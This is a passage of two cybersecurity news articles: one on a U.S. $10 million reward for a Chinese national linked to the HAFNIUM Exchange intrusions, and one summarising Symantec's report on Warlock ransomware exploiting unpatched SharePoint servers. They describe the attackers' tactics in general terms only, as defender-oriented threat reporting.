“Rewards for Justice (RFJ) is offering a reward of up to $10 million for information leading to the identification or location of any person who, while acting at the direction or under the control of a foreign government, participates in malicious cyber activities against U.S. critical infrastructure in violation of the Computer Fraud and Abuse Act.” reads the announcement published by the State Department. “Under this reward offer, RFJ seeks information on Zhang Yu, a Chinese national and director at Shanghai Firetech Information Science and Technology Company, Ltd. working at the behest of the People’s Republic of China (PRC) Ministry of State Security (MSS) Shanghai State Security Bureau (SSSB).” 

U.S. prosecutors allege that both men worked under China’s Shanghai State Security Bureau, a branch of the Ministry of State Security.

The indictment covers two distinct hacking campaigns. The first, in early 2020, hit U.S. universities and scientists working on COVID-19 vaccines and treatments. The second, later that year, exploited flaws in Microsoft Exchange Server in what became known as HAFNIUM, eventually compromising Exchange servers across the globe.

The targets named include two Texas universities and an international law firm with offices in Washington. In one exchange cited by prosecutors, Xu reported directly to Zhang that he’d broken into a Texas university’s network. That’s not vague state-level activity, that’s one contractor literally checking in with his handler.

The Justice Department frames both men as part of something bigger than two individual hackers. Private companies acting as a buffer between the state and the keyboard, in other words, so attribution gets murkier and deniability stays intact.

“Starting in early 2020, Zhang and his partner Xu Zewei, then a general manager at Shanghai Powerock Network Co. Ltd., gained unauthorized access to COVID-19 research conducted by U.S.-based universities and leading immunologists and virologists to steal sensitive information.” continues the announcement. “The following year, Zhang and Xu exploited vulnerabilities in computers running Microsoft Exchange Server, a computer program involved in the storage and retrieval of e-mails. Those intrusions were part of mass intrusion campaign, publicly known as HAFNIUM, which compromised thousands of computers worldwide.”

The scale of HAFNIUM backs up why anyone would pay $10 million for a tip. The FBI puts the total at more than 12,700 compromised U.S. organizations, which is a genuinely staggering number for a single exploit chain. Xu’s own case shows these rewards aren’t just theater either, he was arrested in Milan back in 2025 while on vacation and extradited to the U.S. this past April.

Unlike Xu, Zhang is still free, and the charges against him have not been tested in court. Italian police arrested Zewei Xu in July 2025 at Milan’s Malpensa Airport on a U.S. warrant. Xu was arrested at Malpensa Airport on July 3rd after arriving on a flight from China. Authorities accused the man of cyberespionage, U.S. authorities linked him to the China-nexus group Hafnium (aka Silk Typhoon), which carried out attacks against U.S. government, including the US Treasury.

The Rewards for Justice program behind the $10 million offer has paid more than $250 million to over 125 people since 1984. Rewards for Justice (RFJ) is a U.S. Department of State program that offers financial rewards for information that helps protect U.S. national security. It was created in 1984 and is administered by the State Department’s Bureau of Diplomatic Security.

Originally focused on international terrorism, the program’s scope has expanded to include areas such as malicious cyber activity and foreign election interference.

Whether the reward will be enough to convince someone close to Zhang to provide information is impossible to know.

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, HAFNIUM)

Warlock ransomware continues to exploit unpatched SharePoint flaws to breach water utilities, telecoms, governments, and universities worldwide.

Warlock ransomware made headlines back in mid-2025 for exploiting a chain of SharePoint zero-days collectively dubbed ToolShell. More than a year later, the same group is still using that door, and it’s still getting in.

Symantec tracks the group behind Warlock as Longlegs, also known as Storm-2603, and ties it back to older China-nexus clusters called CL-CRI-1040, CamoFei, and ChamelGang. In the past two months alone, Longlegs hit at least four organizations: a water utility, a telecom provider, a regional government body, and a university. All four sit in Portuguese or Spanish speaking countries, spread across Europe, Africa, and Latin America.

Warlock has already targeted organizations in the US, Brazil, India, Russia, Taiwan, and Japan, so the group is not focused on one specific region. The recent attacks on Portuguese- and Spanish-speaking countries could simply mean the attackers are looking for exposed and unpatched SharePoint servers wherever they can find them. They could also be working from a specific target list. Either way, targeting a water utility and a telecom company within a few weeks is something defenders should take seriously.

SharePoint is still the main entry point. Longlegs places a webshell in the LAYOUTS directory and designs it to work across different SharePoint versions. The attackers then steal the server’s ASP.NET machine keys and use them to create a signed payload that can execute code inside the SharePoint application. The technique is effective, but it depends on finding SharePoint servers that have not been properly patched.

Once they get inside, the attackers use DLL sideloading to run additional payloads. They download these files from legitimate hosting services such as catbox.moe and wasabisys.com, which helps the traffic blend in with normal activity.

Before deploying the ransomware, Longlegs also uses a signed but vulnerable driver called K7RKScan to disable security software. This is a common “bring your own vulnerable driver” technique. The attackers have also installed Visual Studio Code’s tunneling feature as a service, giving them remote access that can look like normal developer activity.

“The group continues to favor SharePoint-related vulnerabilities to gain initial access to targeted organizations.” states the report. “Longlegs abuses a vulnerable, signed driver (K7RKScan) to disable security software before deploying ransomware, and has also been observed abusing Visual Studio Code’s tunneling feature for covert remote access.”

Symantec’s report traces a full attack against a critical infrastructure operator starting July 22, 2026, when the webshell first landed on a SharePoint server. Two days later the attackers ran basic recon commands, deleted some staging files, and dropped a pair of DLL sideloading tools. A few days after that, they pinged a Burp Collaborator subdomain baked with the target’s own domain name, which is a scanner’s way of confirming its injected code actually ran.

By July 28 the real exploitation began, using a deserialization gadget to turn a forged, signed payload into code execution inside SharePoint. The attackers then pulled three separate installer packages from two different hosting services within ninety minutes, suggesting they had backups ready in case one path got blocked.

“Two different public hosting services and three distinct package names within the space of ninety minutes suggests the attackers had more than one payload ready to go and were not relying on a single point of delivery.” continues the report. “The intrusion then broadened from the two initial SharePoint servers to the wider domain. Later that day and into the next (July 29) the attackers repeatedly added a domain account named SPSEPRDSetup to the local Administrators group on three further hosts (Computer 3, Computer 4, and Computer 5):”

They spread out to more hosts by adding a fake-sounding admin account named SPSEPRDSetup, a decent bit of social camouflage since SharePoint really does create accounts with that kind of prefix.

On July 31, the attackers deployed a tool designed to disable antivirus and EDR across the network in a short period.

“In one intrusion against a critical infrastructure operator, the attackers pushed a tool designed to disable security software to at least 40 hosts within about two hours, then deployed Warlock on at least 33 hosts by staging it in the domain’s SYSVOL share, where ordinary domain replication delivered it to machines.” Symantec states.

Warlock ransomware was then deployed almost immediately after the security tools were disabled. This was not a slow attack. The attackers moved quickly from disabling protection to encrypting systems.

The attackers also used the domain’s SYSVOL share to distribute the ransomware. SYSVOL is automatically replicated across domain controllers, making it an effective way to spread files across a Windows domain. Symantec found that the ransomware was delivered through normal domain replication traffic, with three systems capturing dfsrs.exe, the Windows service responsible for that replication, delivering the malicious files.

The lesson here isn’t subtle. ToolShell and its related SharePoint flaws are still a working way into a network more than a year after they first made news, and that only holds true because some organizations haven’t patched or mitigated them yet. If you’re running on-premises SharePoint Server and haven’t checked it against CISA’s July 2026 advisory, that’s worth doing before your Monday coffee gets cold.

“Longlegs’ continued activity, more than a year after Warlock ransomware first came to prominence, shows that exploitation of ToolShell and other related-SharePoint vulnerabilities remains a viable initial access route for attackers SharePoint deployments that have not been patched or otherwise mitigated.” concludes the report. “The apparent recent focus on Portuguese- and Spanish-speaking countries suggests either an opportunistic targeting pattern driven by exposed, vulnerable SharePoint servers, or a more deliberate tasking. The inclusion of critical infrastructure operators among the victims is a reminder of the potential real-world consequences of ransomware attacks that succeed against essential services.”

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, Warlock ransomware)